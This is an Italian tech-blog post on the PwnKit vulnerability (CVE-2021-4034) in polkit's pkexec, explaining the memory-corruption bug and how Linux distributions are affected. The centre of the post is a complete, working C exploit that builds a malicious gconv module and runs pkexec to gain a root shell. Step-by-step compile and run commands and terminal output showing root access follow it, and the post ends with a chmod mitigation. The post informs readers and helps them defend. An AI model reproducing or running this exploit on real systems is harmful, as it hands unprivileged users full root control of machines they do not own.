Un bug di Polkit mette a rischio la sicurezza delle maggiori distribuzioni Linux.
Martedì è stata un’altra doccia fredda per i team di sicurezza. Dopo aver visto un 2021 tutt’altro che noioso sotto questo punto di vista, ecco una nuova vulnerabilità rimasta silente per ben 12 anni e che ha impattato tutte le maggiori distribuzioni Linux: CVE-2021-4034, chiamata PwnKit.
PwnKit, riguarda nel dettaglio il programma pkexec, facente parte del componente Polkit (PolicyKit).
Polkit è un componente presente nella maggior parte delle distribuzioni Linux e fa parte della costellazione di elementi che gestiscono globalmente i permessi nel sistema. Esso incorpora diversi tool fra cui troviamo anche l’eseguibile pkexec, il quale permette di lanciare un altro programma con privilegi elevati.
Lo scorso Novembre è stato scoperto quindi che proprio pkexec presentava una vulnerabilità di corruzione della memoria sin dalla sua creazione (nel lontano 2009) affliggendo quindi tutte le versioni di Polkit conosciute fino ad oggi. La vulnerabilità tuttavia è stata pubblicata solamente l’altro ieri, dopo che i ricercatori dell’azienda di cybersecurity Qualys hanno reso pubbliche le patch risolutive per la maggior parte delle distribuzioni affette.
La ricerca pubblicata da Qualys descrive dettagliatamente sia la vulnerabilità, che una POC per testarne la riproducibilità. Di seguito un estratto:
this out-of-bounds write allows us to re-introduce an “unsecure” environment variable (for example, LD_PRELOAD) into pkexec’s environment; these “unsecure” variables are normally removed (by ld.so) from the environment of SUID programs before the main() function is called.
Questa scrittura “fuori dai limiti” ci permette di re-introdurre variabili d’ambiente “non sicure” (ad es. LD_PRELOAD), nell’ambiente di pkexec; queste variabili “non sicure” vengono normalmente rimosse (da ld.so) dall’ambiente dei programmi SUID prima dell’esecuzione della funzione main().
Da quanto si è visto quindi l’utilizzo dell’exploit in questione è altrettanto semplice quanto efficace:
- Sfruttando la corruzione della memoria, questa vulnerabilità dovrebbe essere indipendente dal tipo di architettura e quindi applicabile anche a distribuzioni per Arm, PowerPC, ecc…
- Essendo PolKit una componente presente su svariati sistemi Unix-Like (*BSD, Solaris, ecc…) è possibile che PwnKit possa essere sfruttato anche su OS “non Linux”.
Volete sapere se ne siete affetti?, create un file con questo contenuto:
/* * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu> * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char *shell = "#include <stdio.h>\n" "#include <stdlib.h>\n" "#include <unistd.h>\n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}"; int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env); }
Dopodiché compilatelo, in questo modo:
> gcc pkexec.c -o pkexec-exploit
A questo punto, dopo aver verificato che siate un utente non privilegiato:
rasca@catastrofe [~]> id uid=1000(rasca) gid=1000(rasca) groups=1000(rasca),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),130(lxd),131(sambashare),134(docker),136(libvirt),998(bumblebee)
Lanciate l’eseguibile ed osservate il risultato:
rasca@catastrofe [~]> ./pkexec-exploit # whoami root # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),130(lxd),131(sambashare),134(docker),136(libvirt),998(bumblebee),1000(rasca)
Pauroso eh?
Fortunatamente come detto tutte le maggiori distribuzioni, le quali sono impattate tutte indistintamente dal problema, hanno già fornito le patch del caso.
Nello sciagurato caso in cui la patch per la vostra distribuzione non sia disponibile però non disperate, resta possibile mitigare temporaneamente la vulnerabilità, modificando i permessi di pkexec:
> chmod 0755 /usr/bin/pkexec
Buon patching!
Se vuoi sostenerci, puoi farlo acquistando qualsiasi cosa dai diversi link di affiliazione che abbiamo nel nostro sito o partendo da qui oppure alcune di queste distribuzioni GNU/Linux che sono disponibili sul nostro negozio online, quelle mancanti possono essere comunque richieste, e su cui trovi anche PC, NAS e il ns ServerOne. Se ti senti generoso, puoi anche donarmi solo 1€ o più se vuoi con PayPal e aiutarmi a continuare a pubblicare più contenuti come questo. Grazie!
Hai dubbi o problemi? Ti aiutiamo noi!
Se vuoi rimanere sempre aggiornato, iscriviti al nostro canale Telegram.Se vuoi ricevere supporto per qualsiasi dubbio o problema, iscriviti alla nostra community Facebook o gruppo Telegram.
Cosa ne pensi? Fateci sapere i vostri pensieri nei commenti qui sotto.
Ti piace quello che leggi? Per favore condividilo con gli altri.